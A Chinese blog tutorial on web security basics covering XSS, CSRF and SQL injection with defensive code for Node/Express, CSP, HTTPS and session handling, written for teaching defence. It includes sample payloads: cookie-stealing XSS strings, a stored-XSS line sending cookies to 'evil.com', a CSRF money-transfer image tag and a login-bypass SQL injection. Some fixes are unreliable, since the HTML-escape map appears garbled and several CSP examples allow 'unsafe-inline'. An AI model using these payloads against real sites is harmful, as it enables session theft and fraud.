Web安全基础:XSS、CSRF攻击原理与防护完全指南
我对Web安全的第一次"开窍",是被自己的代码教育的。
那是几年前一个内部的社区项目,用户可以设置昵称。某天测试同学截图发我,说他点开个人主页就弹了个框,写着他自己的 cookie。我一开始以为是他装了什么浏览器插件,直到我把他的昵称复制出来——<img src=x onerror=alert(document.cookie)>。一个存储型 XSS,就这么躺在我们的用户表里,谁打开他的主页都会中招。罪魁祸首是我自己写的那行 nickname 直接拼进 innerHTML 的代码。
后来公司请了外部团队做渗透测试,报告发回来那天我至今记得:满屏的红,XSS、CSRF、还有实习生在一个老接口里手拼的 SQL。最扎心的不是漏洞多,而是每一条我看完都觉得"这我本来应该知道的"。安全这东西就是这样,原理你看一遍都懂,但写代码时一走神就漏。
所以这篇不是教科书式的罗列。我把这些年踩过的坑、报告里被打红的点,连同能直接抄走的防护代码一起整理出来。XSS、CSRF、SQL 注入这三个老朋友占了大头,剩下 CSP、HTTPS、会话管理这些是把防线收口的部分。
先放一张我自己常用的速查表,三种最常见的攻击横向对比一下——尤其是最后那列"最容易被忽略的点",基本都是我或者同事真踩过的:
| 攻击类型 | 触发条件 | 主要危害 | 一句话防御 | 最容易被忽略的点 |
|---|---|---|---|---|
| XSS | 用户输入未转义就进了 DOM/HTML | 窃取 Cookie、劫持会话、钓鱼 | 输出转义 + CSP | 富文本、href、<img onerror> 这些非 <script> 入口 |
| CSRF | 请求只靠 Cookie 认证、无额外校验 | 冒用身份转账、改密码、删数据 | CSRF Token + SameSite | GET 接口也能被 <img> 打,别以为只有 POST 危险 |
| SQL 注入 | 用户输入被拼进 SQL 字符串 | 拖库、绕过登录、删表 | 参数化查询 | ORDER BY、LIMIT、表名这类没法用占位符的地方 |
目录
XSS跨站脚本攻击
XSS攻击原理
XSS(Cross-Site Scripting)的核心就一句话:你以为是数据的东西,被浏览器当成代码执行了。攻击者把脚本塞进网页,借此偷 Cookie、劫持会话,或者把用户引到钓鱼页。开头那个昵称的例子就是最典型的一种。
攻击示例:
// ❌ 危险:直接插入用户输入
const username = getUserInput();
document.getElementById('welcome').innerHTML = `欢迎 ${username}`;
// 攻击者输入:<script>alert(document.cookie)</script>
// 结果:脚本被执行,Cookie被窃取
XSS攻击类型
1. 存储型XSS(Stored XSS)
// 攻击流程
// 1. 攻击者在评论中输入恶意脚本
const comment = '<script>sendCookies("http://evil.com")</script>';
// 2. 服务器存储评论(未过滤)
database.save({ content: comment });
// 3. 其他用户访问页面时,脚本被执行
comments.forEach((c) => {
document.getElementById('comments').innerHTML += c.content; // ❌
});
2. 反射型XSS(Reflected XSS)
// URL: https://example.com/search?q=<script>alert(1)</script>
// ❌ 危险代码
const searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('result').innerHTML = `搜索结果: ${searchQuery}`;
3. DOM型XSS
// ❌ 危险:直接使用location.hash
const data = decodeURIComponent(location.hash.substr(1));
document.getElementById('content').innerHTML = data;
// 攻击URL: https://example.com/#<img src=x onerror=alert(1)>
XSS防护方法
1. 输出转义
// ✅ 正确:HTML实体编码
function escapeHTML(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
// 或使用映射表
function escapeHTML(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/',
};
return str.replace(/[&<>"'/]/g, (char) => map[char]);
}
// 使用
const username = getUserInput();
const safe = escapeHTML(username);
document.getElementById('welcome').innerHTML = `欢迎 ${safe}`;
2. 使用textContent代替innerHTML
// ✅ 安全:使用textContent
element.textContent = userInput;
// ❌ 危险:使用innerHTML
element.innerHTML = userInput;
3. 使用安全的DOM操作
// ✅ 创建元素并设置文本
function safeAppend(container, text) {
const div = document.createElement('div');
div.textContent = text; // 自动转义
container.appendChild(div);
}
// ✅ 使用setAttribute(但注意on*事件)
const img = document.createElement('img');
img.setAttribute('src', userInput); // 仍需验证URL
img.setAttribute('alt', escapeHTML(altText));
4. Content Security Policy(CSP)
<!-- 在HTTP响应头或meta标签中设置CSP -->
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline'"
/>
// 服务端设置(Express)
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self'"
);
next();
});
5. 使用模板引擎的自动转义
// React自动转义
function Welcome({ name }) {
return <h1>欢迎 {name}</h1>;
// name会被自动转义
}
// Vue自动转义
<template>
<div>{{ userInput }}</div>
<!-- userInput会被自动转义 -->
</template>
// ❌ 危险:v-html不会转义
<div v-html="userInput"></div>
XSS检测工具
// 简单的XSS检测
function detectXSS(input) {
const dangerousPatterns = [
/<script/i,
/javascript:/i,
/on\w+\s*=/i, // onclick=, onerror=等
/<iframe/i,
/eval\(/i,
/expression\(/i,
];
return dangerousPatterns.some((pattern) => pattern.test(input));
}
// 使用
if (detectXSS(userInput)) {
throw new Error('检测到潜在的XSS攻击');
}
CSRF跨站请求伪造
CSRF攻击原理
CSRF(Cross-Site Request Forgery)阴在哪里?它根本不偷你的密码,它借的是你"已经登录"这个状态。你在 A 站登着录,被诱导点开了 B 站,B 站偷偷向 A 站发了个请求,浏览器一看是 A 站的请求就自动带上了 Cookie——于是这个请求在 A 站看来就是你本人发的。我们测试账号里的虚拟币就是这么被一张 <img> 标签"转"光的。
攻击示例:
<!-- 恶意网站evil.com上的代码 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" />
<!--
用户已登录bank.com,浏览器会自动带上Cookie
如果bank.com没有CSRF防护,转账会成功执行
-->
CSRF防护方法
1. CSRF Token
// 服务端生成Token
const crypto = require('crypto');
function generateCSRFToken() {
return crypto.randomBytes(32).toString('hex');
}
// 存储在session中
req.session.csrfToken = generateCSRFToken();
// 返回给前端
res.render('form', { csrfToken: req.session.csrfToken });
<!-- 前端在表单中包含Token -->
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="<%= csrfToken %>" />
<input name="to" placeholder="收款人" />
<input name="amount" placeholder="金额" />
<button type="submit">转账</button>
</form>
// 服务端验证Token
app.post('/transfer', (req, res) => {
const { csrf_token, to, amount } = req.body;
if (csrf_token !== req.session.csrfToken) {
return res.status(403).send('CSRF token验证失败');
}
// 执行转账...
});
2. SameSite Cookie
// 设置Cookie时指定SameSite属性
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict', // 或 'lax'
});
SameSite属性值:
- strict: 完全禁止第三方Cookie
- lax: 允许导航到目标网址的GET请求携带Cookie
- none: 无限制(需要配合secure使用)
3. 验证Referer和Origin
app.use((req, res, next) => {
const referer = req.headers.referer;
const origin = req.headers.origin;
// 检查请求来源
if (referer && !referer.startsWith('https://yoursite.com')) {
return res.status(403).send('非法来源');
}
if (origin && origin !== 'https://yoursite.com') {
return res.status(403).send('非法来源');
}
next();
});
4. 双重Cookie验证
// 前端从Cookie读取token
const csrfToken = getCookie('csrf_token');
// 在请求头中发送
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken,
'Content-Type': 'application/json',
},
body: JSON.stringify({ to: 'user', amount: 100 }),
});
// 服务端验证
app.post('/api/transfer', (req, res) => {
const headerToken = req.headers['x-csrf-token'];
const cookieToken = req.cookies.csrf_token;
if (headerToken !== cookieToken) {
return res.status(403).send('CSRF验证失败');
}
// 处理请求...
});
SQL注入攻击
SQL注入原理
// ❌ 危险:直接拼接SQL
const username = req.body.username;
const password = req.body.password;
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
// 攻击者输入:
// username: admin' --
// password: 任意值
// 生成的SQL:
// SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
// 注释掉了密码检查,成功登录!
SQL注入防护
1. 使用参数化查询
// ✅ 安全:使用预编译语句
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(query, [username, password], (err, results) => {
// 处理结果...
});
// PostgreSQL
const query = 'SELECT * FROM users WHERE username = $1 AND password = $2';
client.query(query, [username, password]);
// MongoDB
db.collection('users').findOne({
username: username,
password: password,
});
2. 使用ORM
// Sequelize(Node.js)
const user = await User.findOne({
where: {
username: username,
password: password,
},
});
// TypeORM
const user = await userRepository.findOne({
where: {
username: username,
password: password,
},
});
3. 输入验证
function validateUsername(username) {
// 只允许字母、数字、下划线
const pattern = /^[a-zA-Z0-9_]{3,20}$/;
if (!pattern.test(username)) {
throw new Error('用户名格式不正确');
}
return username;
}
// 使用
const safeUsername = validateUsername(req.body.username);
4. 最小权限原则
-- 为应用程序创建专用数据库用户
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password';
-- 只授予必要的权限
GRANT SELECT, INSERT, UPDATE ON database.* TO 'app_user'@'localhost';
-- 不要使用root或admin账户连接数据库
Content Security Policy
CSP基础
CSP 是 XSS 的第二道闸:就算转义漏了一处,CSP 也能拦下"从未授权来源加载脚本"这一步。思路是白名单——你明确告诉浏览器哪些来源的资源可以加载,剩下的一律拒绝。它不能替代转义,但能在你犯错时兜底,这点很关键。
<!-- 基础CSP设置 -->
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src 'self' https:; script-src 'self' 'unsafe-inline'"
/>
CSP指令详解
const cspDirectives = {
'default-src': "'self'", // 默认策略
'script-src': "'self' 'unsafe-inline' https://cdn.example.com",
'style-src': "'self' 'unsafe-inline'",
'img-src': "'self' data: https:",
'font-src': "'self' https://fonts.googleapis.com",
'connect-src': "'self' https://api.example.com",
'media-src': "'none'",
'object-src': "'none'",
'frame-src': "'none'",
'base-uri': "'self'",
'form-action': "'self'",
'frame-ancestors': "'none'",
};
// 转换为CSP字符串
const csp = Object.entries(cspDirectives)
.map(([key, value]) => `${key} ${value}`)
.join('; ');
// 设置响应头
res.setHeader('Content-Security-Policy', csp);
Nonce和Hash
// 生成nonce
const crypto = require('crypto');
const nonce = crypto.randomBytes(16).toString('base64');
// 设置CSP
res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'`);
// 在HTML中使用nonce
res.send(`
<script nonce="${nonce}">
console.log('这个脚本可以执行');
</script>
`);
// 使用Hash
const scriptContent = "console.log('Hello');";
const hash = crypto.createHash('sha256').update(scriptContent).digest('base64');
res.setHeader('Content-Security-Policy', `script-src 'self' 'sha256-${hash}'`);
CSP报告
// 设置CSP并收集违规报告
res.setHeader('Content-Security-Policy', "default-src 'self'; report-uri /csp-report");
// 接收报告
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP违规:', req.body);
// 记录到日志系统
logger.warn('CSP Violation', req.body);
res.status(204).end();
});
HTTPS与传输安全
为什么需要HTTPS
HTTP的安全问题:
1. 明文传输,可被窃听
2. 无法验证服务器身份
3. 数据可被篡改
HTTPS工作原理
HTTPS = HTTP + TLS/SSL
加密流程:
1. 客户端发起HTTPS请求
2. 服务器返回证书
3. 客户端验证证书
4. 协商加密算法
5. 生成会话密钥
6. 加密通信
强制HTTPS
// Express中间件:重定向到HTTPS
app.use((req, res, next) => {
if (req.protocol !== 'https') {
return res.redirect('https://' + req.headers.host + req.url);
}
next();
});
// 设置HSTS(HTTP Strict Transport Security)
app.use((req, res, next) => {
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
next();
});
安全的Cookie设置
res.cookie('sessionId', sessionId, {
httpOnly: true, // 防止JavaScript访问
secure: true, // 仅HTTPS传输
sameSite: 'strict', // CSRF防护
maxAge: 3600000, // 过期时间
});
安全开发最佳实践
1. 输入验证
class InputValidator {
static validateEmail(email) {
const pattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return pattern.test(email);
}
static validateURL(url) {
try {
const parsed = new URL(url);
return ['http:', 'https:'].includes(parsed.protocol);
} catch {
return false;
}
}
static sanitizeHTML(html) {
// 使用DOMPurify等库清理HTML
return DOMPurify.sanitize(html);
}
static validateLength(str, min, max) {
return str.length >= min && str.length <= max;
}
}
// 使用
if (!InputValidator.validateEmail(email)) {
throw new Error('邮箱格式不正确');
}
2. 密码安全
const bcrypt = require('bcrypt');
// ✅ 使用bcrypt哈希密码
async function hashPassword(password) {
const saltRounds = 10;
return await bcrypt.hash(password, saltRounds);
}
// ✅ 验证密码
async function verifyPassword(password, hash) {
return await bcrypt.compare(password, hash);
}
// ❌ 永远不要明文存储密码
// ❌ 不要使用简单的MD5或SHA哈希
密码强度检查:
function checkPasswordStrength(password) {
const criteria = {
length: password.length >= 8,
uppercase: /[A-Z]/.test(password),
lowercase: /[a-z]/.test(password),
number: /[0-9]/.test(password),
special: /[^A-Za-z0-9]/.test(password),
};
const score = Object.values(criteria).filter(Boolean).length;
return {
score,
strength: score < 3 ? 'weak' : score < 5 ? 'medium' : 'strong',
criteria,
};
}
3. 会话管理
const session = require('express-session');
app.use(
session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true,
httpOnly: true,
maxAge: 3600000, // 1小时
},
})
);
// 登录后重新生成session ID
app.post('/login', async (req, res) => {
const user = await authenticateUser(req.body);
if (user) {
req.session.regenerate((err) => {
if (err) return res.status(500).send('登录失败');
req.session.userId = user.id;
res.send('登录成功');
});
}
});
// 退出时销毁session
app.post('/logout', (req, res) => {
req.session.destroy();
res.send('已退出');
});
4. 速率限制
const rateLimit = require('express-rate-limit');
// API速率限制
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15分钟
max: 100, // 最多100个请求
message: '请求过于频繁,请稍后再试',
});
app.use('/api/', apiLimiter);
// 登录速率限制
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // 最多5次登录尝试
skipSuccessfulRequests: true,
});
app.post('/login', loginLimiter, handleLogin);
5. 错误处理
// ❌ 危险:泄露敏感信息
app.get('/user/:id', (req, res) => {
try {
const user = db.query(`SELECT * FROM users WHERE id = ${req.params.id}`);
res.json(user);
} catch (error) {
res.status(500).send(error.stack); // 泄露数据库结构
}
});
// ✅ 安全:通用错误消息
app.get('/user/:id', (req, res) => {
try {
const user = db.query(`SELECT * FROM users WHERE id = ?`, [req.params.id]);
res.json(user);
} catch (error) {
console.error('数据库错误:', error); // 记录到服务端
res.status(500).send('服务器错误'); // 返回通用消息
}
});
6. 依赖安全
# 使用npm audit检查漏洞
npm audit
# 自动修复
npm audit fix
# 使用Snyk等工具持续监控
npm install -g snyk
snyk test
写在最后
如果让我把这篇浓缩成一句话:安全不是上线前补的补丁,是你写每一行代码时的默认姿势。
漏洞绝大多数不是因为攻击者多高明,而是因为某个瞬间我们图省事——少转义一次、少校验一次、把用户输入当成可信数据用了一次。这些"一次"攒起来,就是渗透报告里那片红。所以与其记一堆攻击名词,不如把几条肌肉记忆刻进手里:拿到外部数据先假设它是恶意的;拼 SQL 之前先问自己有没有用占位符;改 Cookie 之前顺手把 HttpOnly 和 SameSite 加上。
还有一条我想专门说:别自己造加密和哈希的轮子。密码用 bcrypt/argon2,别上 MD5;需要随机数用 crypto.randomBytes,别用 Math.random()。自研的"加密算法"几乎一定有洞,这不是能力问题,是这个领域的坑太深,连专家都得靠同行评审才敢用。
顺带提一句,如果你想验证一段哈希、试一下不同算法的输出,又不想把数据贴到来路不明的在线网站——我们的 哈希 / 加密工具 全部在浏览器本地跑,数据不出你的电脑,调试这类东西的时候用着踏实。
下面这些是我自己的核对清单,不强求顺序,但每一条都对应着我或同事真摔过的跟头。
几条不肯妥协的原则
- 默认不信任任何外部输入——表单、URL、请求头、第三方回调,都一样。
- 最小权限——数据库账号能用只读就别给写权限,别图方便挂 root。
- 纵深防御——CSP 拦不住的输出转义能拦,参数化查询漏了的输入验证能补,别指望单层防线。
- 跟上更新——
npm audit顺手跑,已知漏洞别拖。
常见漏洞防护
| 攻击类型 | 防护方法 |
|---|---|
| XSS | 输出转义、CSP、使用安全API |
| CSRF | CSRF Token、SameSite Cookie |
| SQL注入 | 参数化查询、ORM、输入验证 |
| 会话劫持 | HTTPS、HttpOnly、Secure Cookie |
| 暴力破解 | 速率限制、账户锁定 |
上线前我会过一遍的清单
这份清单我贴在代码仓库的 wiki 里,每次提测前自己过一遍。不长,但漏哪条都可能出事:
- 所有进入 DOM/SQL/系统命令的外部输入,都做了对应的转义或参数化
- 全站强制 HTTPS,HSTS 开了
- CSP、
X-Content-Type-Options这类安全响应头配齐了 - 写操作都有 CSRF Token 或 SameSite 兜底
- 密码走 bcrypt,session 登录后重新生成
- 登录、发短信这类敏感接口加了速率限制
- 依赖定期
npm audit,关键告警有人跟 - 错误信息对外只给通用文案,堆栈只进日志
最后那条特别容易被忽略——我见过太多次把 error.stack 直接 res.send 出去的,相当于把数据库结构画了张图送给攻击者。
几个我自己也在用的小工具
关键词: Web安全, XSS, CSRF, SQL注入, CSP, HTTPS, 安全开发
更新时间: 2026-01-05
我们是一支开发者小团队,负责构建和维护 ToolsForge —— 150+ 个完全在浏览器本地运行、隐私优先的工具。这些文章来自我们日常的工程实践,而不是纸上谈兵。
了解我们相关阅读
浏览器API完全指南:FileReader、Canvas、Web Workers深度解析
深入探索现代浏览器API,涵盖文件处理、Canvas绘图、Web Workers多线程、IndexedDB存储等核心技术,助力构建强大的Web应用
前端性能优化实战:从加载到渲染的完整指南
深入解析前端性能优化技巧,从资源加载、代码分割到渲染优化,包含实战案例和性能监控方案,助力构建高性能Web应用
哈希算法与数据安全实践:MD5、SHA家族完全指南
深入解析哈希算法原理和应用场景,涵盖MD5、SHA-1、SHA-256等算法特点,密码哈希最佳实践,以及文件完整性校验实战